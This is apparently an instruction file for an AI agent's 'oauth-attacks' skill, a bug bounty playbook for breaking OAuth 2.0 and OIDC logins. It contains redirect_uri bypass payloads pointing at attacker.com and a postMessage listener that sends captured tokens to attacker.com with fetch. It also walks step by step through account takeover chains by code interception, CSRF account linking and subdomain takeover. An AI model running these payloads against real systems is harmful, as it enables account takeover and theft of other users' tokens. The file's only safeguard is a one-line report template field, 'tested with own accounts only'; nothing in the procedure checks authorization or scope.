| name | oauth-attacks |
| description | Use when attacking OAuth 2.0 or OIDC implementations, testing for authorization code interception, PKCE bypass, open redirect chains, token leakage via referer, state parameter CSRF, token substitution, JWT confusion, implicit flow token theft, or OAuth misconfiguration in bug bounty targets. Also use when the user says "attack OAuth", "OAuth bug", "PKCE bypass", "redirect_uri bypass", "token leakage", or "SSO attack". |
OAuth 2.0 / OIDC Attack Playbook
Philosophy
OAuth bugs are the highest-paying web vulns on HackerOne. They chain directly to account takeover.
The attacker controls the redirect. Find one open redirect on the OAuth domain and you own the flow.
Never claim "account takeover" without demonstrating actual token receipt for another user's account.
Arguments
<target> - domain with OAuth (e.g. app.target.com)
<focus> - optional: REDIRECT / CSRF / TOKEN-LEAK / JWT / PKCE / FULL
Phase 0: Smart Intake
source ~/.claude/skills/_shared/phase0.sh
source ~/.claude/skills/_shared/signals.sh
p0_init_vars "$1"
p0_state_gate "HARVEST" || exit 0
p0_read_relay recon secrets
p0_read_memory
p0_read_hypotheses
INTERESTING_ENDPOINTS=$(echo "$INTERESTING_ENDPOINTS" | grep -i "oauth\|auth\|login\|sso\|connect\|token\|authorize" | head -20)
WAYBACK_ENDPOINTS=$(echo "$WAYBACK_ENDPOINTS" | grep -i "oauth\|auth\|token" | head -10)
JWT_COUNT=$(echo "$JWT_TOKENS" | grep -c "ey" 2>/dev/null || echo 0)
TECH_STACK=$KNOWN_TECH
echo "=== PHASE 0 OAUTH INTAKE: $TARGET ==="
echo "State: $STATE | JWT tokens already found: $JWT_COUNT"
echo "OAuth-related endpoints from recon: $(echo "$INTERESTING_ENDPOINTS" | wc -l)"
echo "Tech stack: $TECH_STACK"
echo "Top hypothesis: $TOP_HYPO_LABEL [$TOP_HYPO_PROB%]"
echo "ATW flagged (avoid): ${ATW_FLAGGED:-none}"
Execution Manifest
MANIFEST=$(cat << 'MANIFEST_EOF'
{
"phase": "oauth-attacks",
"generated_at": "YYYY-MM-DD HH:MM",
"items": [
{"id":"o01","tool":"oidc-discovery","target":"<target>/.well-known/openid-configuration","reason":"enumerate all OAuth endpoints + supported flows","priority":"MUST","status":"pending","skip_reason":null},
{"id":"o02","tool":"redirect-uri-bypass","target":"<oauth-authorize-endpoint>","reason":"code interception via loose redirect_uri validation","priority":"MUST","status":"pending","skip_reason":null},
{"id":"o03","tool":"state-csrf-test","target":"<oauth-callback-endpoint>","reason":"missing/bypassable state = CSRF account linking","priority":"MUST","status":"pending","skip_reason":null},
{"id":"o04","tool":"pkce-downgrade","target":"<oauth-authorize-endpoint>","reason":"PKCE not enforced = code interception without verifier","priority":"MUST","status":"pending","skip_reason":null},
{"id":"o05","tool":"jwt-claim-attack","target":"<access-token>","reason":"alg:none / RS256->HS256 confusion on OAuth tokens","priority":"MUST","status":"pending","skip_reason":"set to skipped if no JWT tokens found"},
{"id":"o06","tool":"token-leakage-referer","target":"<oauth-callback-page>","reason":"auth code in Referer to third-party analytics","priority":"SHOULD","status":"pending","skip_reason":null},
{"id":"o07","tool":"open-redirect-chain","target":"<target> redirectors","reason":"find open redirect + chain with redirect_uri bypass","priority":"MUST","status":"pending","skip_reason":null},
{"id":"o08","tool":"scope-escalation","target":"<token-endpoint>","reason":"request read scope, check if write/admin included","priority":"SHOULD","status":"pending","skip_reason":null},
{"id":"o09","tool":"jwks-uri-hijack","target":"<jku-claim-in-token>","reason":"attacker-controlled JWKS = forge any token","priority":"IF_TIME","status":"pending","skip_reason":"skip if no jku claim in token header"}
]
}
MANIFEST_EOF
)
jq --argjson m "$MANIFEST" '.scalpel.active_manifest = $m' $SESSION > /tmp/s.json && mv /tmp/s.json $SESSION
Manifest adjustment rules:
- If
JWT_COUNT=0 (no JWT tokens found in secrets phase): mark o05, o09 as skipped - run them only after o01 discovers tokens
- If
INTERESTING_ENDPOINTS has specific OAuth provider URLs: update o01 target to those specific URLs
- If
STATE=DEEP and top hypothesis is JWT-related: mark o02, o03, o06, o08 as IF_TIME; promote o05 to MUST
- If top hypothesis is account takeover chain: promote o07 (open redirect) to MUST first
Phase 1 - OAuth Endpoint Discovery
curl https://<target>/.well-known/openid-configuration
curl https://<target>/.well-known/oauth-authorization-server
curl https://<target>/.well-known/jwks.json
curl https://<target>/oauth2/v1/certs
grep -r "oauth\|authorize\|client_id\|redirect_uri\|client_secret" ./js_bundles/
curl https://<target>/.well-known/openid-configuration | python3 -m json.tool
Phase 2 - Redirect URI Bypass (Highest Impact)
Goal: Redirect the authorization code/token to attacker-controlled URL
BASE_URI="https://app.target.com/oauth/callback"
CLIENT_ID="<client-id>"
AUTH_URL="https://provider.target.com/oauth/authorize"
${AUTH_URL}?client_id=${CLIENT_ID}&redirect_uri=https://app.target.com/oauth/callback/../../../attacker.com&response_type=code
redirect_uri=https://app.target.com/oauth/callback%23@attacker.com
redirect_uri=https://app.target.com/oauth/callback%23attacker.com/
redirect_uri=https://evil.app.target.com/oauth/callback
redirect_uri=https://app.target.com/redirect?url=https://attacker.com
redirect_uri=https://app.target.com%2F@attacker.com/
redirect_uri=https://app.target.com:443@attacker.com/
redirect_uri=https://app.target.com\.attacker.com/
redirect_uri=http://localhost:8080/callback
Phase 3 - CSRF (Missing or Bypassable State Parameter)
Goal: Force victim to connect their OAuth account to attacker's account
curl "https://<target>/oauth/callback?code=<test-code>&state=INVALID_STATE"
Phase 4 - Token Leakage via Referer / postMessage
Goal: OAuth token/code leaks to third-party via HTTP Referer or postMessage
window.addEventListener('message', function(e) {
// Capture token if targetOrigin was wildcard
fetch('https://attacker.com/?token=' + JSON.stringify(e.data));
});
window.open('https://app.target.com/oauth/start?redirect_to=popup');
Phase 5 - PKCE Bypass & Code Interception
GET /oauth/authorize?client_id=<id>&response_type=code&redirect_uri=<uri>
GET /oauth/authorize?...&code_challenge=<hash>&code_challenge_method=plain
POST /oauth/token
grant_type=authorization_code&code=<code>&redirect_uri=<uri>&client_id=<id>
Phase 6 - JWT/Token Attacks on OAuth Tokens
echo "<header_b64>" | base64 -d 2>/dev/null | python3 -m json.tool
python3 -c "
import base64, json, hmac, hashlib
# Decode
parts = '<TOKEN>'.split('.')
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
print('HEADER:', json.dumps(header, indent=2))
print('PAYLOAD:', json.dumps(payload, indent=2))
# Look for: sub (user ID), role, scope, iss, aud, exp
"
python3 -c "import jwt, datetime; t = jwt.decode('<token>', options={'verify_signature': False}); print(datetime.datetime.fromtimestamp(t['exp']))"
Phase 7 - Token Leakage in Logs / Headers
Phase 8 - OAuth Account Takeover Chains
Chain A: Open Redirect -> Code Interception -> ATO
1. Find open redirect: GET /redirect?url=https://attacker.com -> 302 to attacker.com
2. Craft OAuth URL with redirect_uri pointing to open redirect:
/oauth/authorize?client_id=X&redirect_uri=https://app.target.com/redirect?url=https://attacker.com&response_type=code&scope=openid
3. Victim clicks link, authorizes OAuth
4. Provider redirects to /redirect?url=https://attacker.com&code=AUTH_CODE
5. Open redirect bounces victim to https://attacker.com?code=AUTH_CODE
6. Attacker captures code from server logs
7. Exchange code for token (if no PKCE): POST /oauth/token {code: AUTH_CODE, client_id: X, ...}
8. Token = victim's account access
Evidence: actual auth code received in attacker server logs + token exchange success
Chain B: CSRF -> Account Linking Takeover
1. Create account on target using email/password
2. Start OAuth "connect" flow (add Google login to existing account)
3. Don't complete - capture the half-complete authorize URL
4. Send this URL to victim
5. Victim (already logged in to target) completes OAuth consent
6. Their Google account is now linked to YOUR target account
7. Login with that Google account = access attacker's target account with victim's Google
Evidence: demonstrate victim's Google identity linked to attacker's target account session
Chain C: subdomain takeover + OAuth origin check bypass
1. Find dangling CNAME on OAuth-registered origin (see zerodayhunt Phase 11)
2. Claim the subdomain (GitHub Pages, Heroku, etc.)
3. Host attacker page that receives OAuth code/token
4. Craft redirect_uri to that claimed subdomain (if wildcards allowed or loose validation)
5. Victim authorizes -> code arrives at your controlled subdomain
Output
Write to ~/pentest-toolkit/results/<target>/interesting_oauth-attacks.md:
## Status
account-takeover | token-leaked | partial | no-findings
## Summary
<OAuth provider endpoints found, flows tested, chains discovered>
## Confirmed Findings
- [CONFIRMED] Open redirect at /redirect + OAuth redirect_uri bypass = auth code interception
Evidence: <code received in attacker logs>
Reproduce: <exact URL chain>
## Attack Chains
1. <chain name>: <step A> -> <step B> -> ATO
Authorization status: tested with own accounts only
## Token Analysis
- Algorithm: <RS256/HS256/none>
- Claims: <sub, role, scope, exp>
- Vulnerabilities: <if any>
## Redirect URI Validation
| Test | Result |
|------|--------|
| Path traversal | BLOCKED/BYPASSED |
| Open redirect chain | VULNERABLE |
| Subdomain wildcard | N/A |
Tell user: "OAuth attack phase complete. interesting_oauth-attacks.md written. Key finding: . Run /triage <target> to aggregate."
Phase-End: Completion Gate
PENDING_MUST=$(jq '[.scalpel.active_manifest.items[] | select(.priority=="MUST" and .status=="pending")] | length' $SESSION 2>/dev/null || echo 0)
if [ "$PENDING_MUST" -gt 0 ]; then
echo "=== COMPLETION GATE BLOCKED ==="
echo "$PENDING_MUST MUST items not completed:"
jq '.scalpel.active_manifest.items[] | select(.priority=="MUST" and .status=="pending") | "\(.id): \(.tool) on \(.target)"' $SESSION
echo "Run them or mark skipped with explicit reason before calling /triage."
fi